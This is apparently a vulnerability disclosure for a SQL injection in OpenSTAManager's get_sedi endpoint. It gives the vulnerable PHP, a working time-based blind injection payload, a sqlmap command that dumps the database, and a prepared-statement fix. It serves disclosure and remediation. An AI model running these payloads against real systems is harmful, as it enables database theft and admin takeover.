Summary
A SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access.
Proof of Concept
Vulnerable Code
File: modules/anagrafiche/ajax/complete.php:28
case 'get_sedi':
$idanagrafica = get('idanagrafica');
$q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione
FROM an_sedi
WHERE idanagrafica='".$idanagrafica."' ...";
$rs = $dbo->fetchArray($q);
Data Flow
- Source:
$_GET['idanagrafica'] → get('idanagrafica')
- Vulnerable: User input concatenated directly into SQL query with single quotes
- Sink:
$dbo->fetchArray($q) executes the malicious query
Exploit
Manual PoC (Time-based Blind SQLi):
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

SQLMap Exploitation:
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--dump
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Impact
- Data Exfiltration: Complete database extraction including user credentials, customer data, financial records
- Privilege Escalation: Modification of
zz_users table to gain admin access
- Data Integrity: Unauthorized modification or deletion of records
- Potential RCE: Via
SELECT ... INTO OUTFILE if file permissions allow
Affected Versions
- OpenSTAManager: Verified in latest version (as of December 2025)
- All versions using this endpoint are likely affected
Remediation
Replace direct concatenation with prepared statements:
Before:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
After:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
